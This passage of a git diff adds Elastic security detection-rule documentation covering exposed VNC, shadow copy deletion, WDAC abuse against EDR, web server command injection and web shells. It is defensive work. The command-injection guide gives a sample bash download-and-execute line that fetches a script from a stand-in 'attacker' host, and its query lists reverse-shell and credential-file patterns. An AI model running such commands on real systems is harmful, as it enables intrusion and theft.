the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) to the Internet* + + +VNC is a tool that allows remote control of computers, often used by administrators for maintenance. However, when exposed to the internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC to establish backdoors or gain initial access. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out internal IP addresses, flagging potential threats when VNC is accessed from external networks. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it belongs to a known internal asset or user, and verify if the access was authorized. +- Check the destination IP address to confirm if it is an external address and investigate its reputation or any known associations with malicious activity. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or volumes of VNC traffic. +- Correlate the VNC traffic event with other security events or logs to identify any related suspicious activities or anomalies. +- Investigate the user account associated with the VNC session to ensure it has not been compromised or misused. +- Assess the system or application logs on the destination machine for any signs of unauthorized access or changes during the time of the VNC connection. + + +*False positive analysis* + + +- Internal maintenance activities may trigger the rule if VNC is used for legitimate remote administration. To manage this, create exceptions for known internal IP addresses that frequently use VNC for maintenance. +- Automated scripts or tools that use VNC for legitimate purposes might be flagged. Identify these tools and whitelist their IP addresses to prevent unnecessary alerts. +- Testing environments that simulate external access to VNC for security assessments can cause false positives. Exclude IP ranges associated with these environments to avoid confusion. +- Cloud-based services that use VNC for remote management might be misidentified as threats. Verify these services and add their IP addresses to an exception list if they are trusted. +- Temporary remote access setups for troubleshooting or support can be mistaken for unauthorized access. Document these instances and apply temporary exceptions to reduce false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions that are identified as originating from external networks to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data transfer that may have occurred during the VNC exposure. +- Change all passwords and credentials associated with the affected system and any other systems that may have been accessed using the same credentials. +- Apply necessary patches and updates to the VNC software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: VNC +** ID: T1021.005 +** Reference URL: https://attack.mitre.org/techniques/T1021/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-volume-shadow-copy-deletion-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-volume-shadow-copy-deletion-via-powershell.asciidoc new file mode 100644 index 0000000000..d1a656754e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-volume-shadow-copy-deletion-via-powershell.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-volume-shadow-copy-deletion-via-powershell]] +=== Volume Shadow Copy Deletion via PowerShell + +Identifies the use of the Win32_ShadowCopy class and related cmdlets to achieve shadow copy deletion. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/vsswmi/win32-shadowcopy +* https://powershell.one/wmi/root/cimv2/win32_shadowcopy +* https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deletion via PowerShell* + + +The Volume Shadow Copy Service (VSS) is a Windows feature that enables system administrators to take snapshots of volumes that can later be restored or mounted to recover specific files or folders. + +A typical step in the playbook of an attacker attempting to deploy ransomware is to delete Volume Shadow Copies to ensure that victims have no alternative to paying the ransom, making any action that deletes shadow copies worth monitoring. + +This rule monitors the execution of PowerShell cmdlets to interact with the Win32_ShadowCopy WMI class, retrieve shadow copy objects, and delete them. + + +*Possible investigation steps* + + +- Investigate the program execution chain (parent process tree). +- Check whether the account is authorized to perform this operation. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences in other hosts. +- Check if any files on the host machine have been encrypted. + + + +*False positive analysis* + + +- This rule has chances of producing benign true positives (B-TPs). If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Related rules* + + +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Priority should be given due to the advanced stage of this activity on the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If data was encrypted, deleted, or modified, activate your data recovery plan. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.args : ("*Get-WmiObject*", "*gwmi*", "*Get-CimInstance*", "*gcim*") and + process.args : ("*Win32_ShadowCopy*") and + process.args : ("*.Delete()*", "*Remove-WmiObject*", "*rwmi*", "*Remove-CimInstance*", "*rcim*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wdac-policy-file-by-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wdac-policy-file-by-an-unusual-process.asciidoc new file mode 100644 index 0000000000..97a11d10b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wdac-policy-file-by-an-unusual-process.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-wdac-policy-file-by-an-unusual-process]] +=== WDAC Policy File by an Unusual Process + +Identifies the creation of a Windows Defender Application Control (WDAC) policy file by an unusual process. Adversaries may use a secially crafted WDAC policy to restrict the execution of security products. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/logangoins/Krueger/tree/main +* https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating WDAC Policy File by an Unusual Process* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Re-enable affected logging components, services, and security monitoring. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action != "deletion" and + file.extension : ("p7b", "cip") and + file.path : ( + "?:\\Windows\\System32\\CodeIntegrity\\*.p7b", + "?:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\*.p7b", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip" + ) and + not process.executable : ( + "C:\\Windows\\System32\\poqexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\poqexec.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-server-potential-command-injection-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-server-potential-command-injection-request.asciidoc new file mode 100644 index 0000000000..1d6470575b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-server-potential-command-injection-request.asciidoc @@ -0,0 +1,277 @@ +[[prebuilt-rule-8-19-20-web-server-potential-command-injection-request]] +=== Web Server Potential Command Injection Request + +This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Persistence +* Tactic: Execution +* Tactic: Credential Access +* Tactic: Command and Control +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Potential Command Injection Request* + + +This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload. + + +*Possible investigation steps* + + +- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent. +- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host. +- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious. +- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability. +- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet. + + +*False positive analysis* + + +- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution. +- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters. + + +*Response and remediation* + + +- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe. +- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request. +- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes. +- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations. +- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected. +- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + // Limit to 200 response code to reduce noise + http.response.status_code == 200 + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0) +| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0) +| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0) +| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0) +| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0) +| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0) +| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0) +| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0) +| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0) +| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0) +| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0) + +| eval Esql.any_payload_keyword = case( + Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or + Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or + Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0) + +| keep + @timestamp, + Esql.url_original_to_lower, + Esql.any_payload_keyword, + Esql.contains_interpreter, + Esql.contains_shell, + Esql.contains_nc, + Esql.contains_devtcp, + Esql.contains_helpers, + Esql.contains_sus_cli, + Esql.contains_privileges, + Esql.contains_downloader, + Esql.contains_file_read_keywords, + Esql.contains_base64_cmd, + Esql.contains_suspicious_path, + source.ip, + destination.ip, + agent.id, + http.request.method, + http.response.status_code, + user_agent.original, + agent.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower), + + // General fields + + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.url_path_values = values(Esql.url_original_to_lower), + Esql.http.response.status_code_values = values(http.response.status_code), + Esql.user_agent_original_values = values(user_agent.original), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace), + + // Rule Specific fields + Esql.any_payload_keyword_max = max(Esql.any_payload_keyword), + Esql.contains_interpreter_values = values(Esql.contains_interpreter), + Esql.contains_shell_values = values(Esql.contains_shell), + Esql.contains_nc_values = values(Esql.contains_nc), + Esql.contains_devtcp_values = values(Esql.contains_devtcp), + Esql.contains_helpers_values = values(Esql.contains_helpers), + Esql.contains_sus_cli_values = values(Esql.contains_sus_cli), + Esql.contains_privileges_values = values(Esql.contains_privileges), + Esql.contains_downloader_values = values(Esql.contains_downloader), + Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords), + Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd), + Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path) + + by source.ip, agent.id + +| where + // Filter for potential command injection attempts with low event counts to reduce false positives + Esql.any_payload_keyword_max == 1 and Esql.event_count < 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-shell-detection-script-process-child-of-common-web-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-shell-detection-script-process-child-of-common-web-processes.asciidoc new file mode 100644 index 0000000000..604cdbe35c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-web-shell-detection-script-process-child-of-common-web-processes.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-20-web-shell-detection-script-process-child-of-common-web-processes]] +=== Web Shell Detection: Script Process Child of Common Web Processes + +Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Web Shell Detection: Script Process Child of Common Web Processes* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a web script that is placed on an openly accessible web server to allow an adversary to use the web server as a gateway into a network. A web shell may provide a set of functions to execute or a command-line interface on the system that hosts the web server. + +This rule detects a web server process spawning script and command-line interface programs, 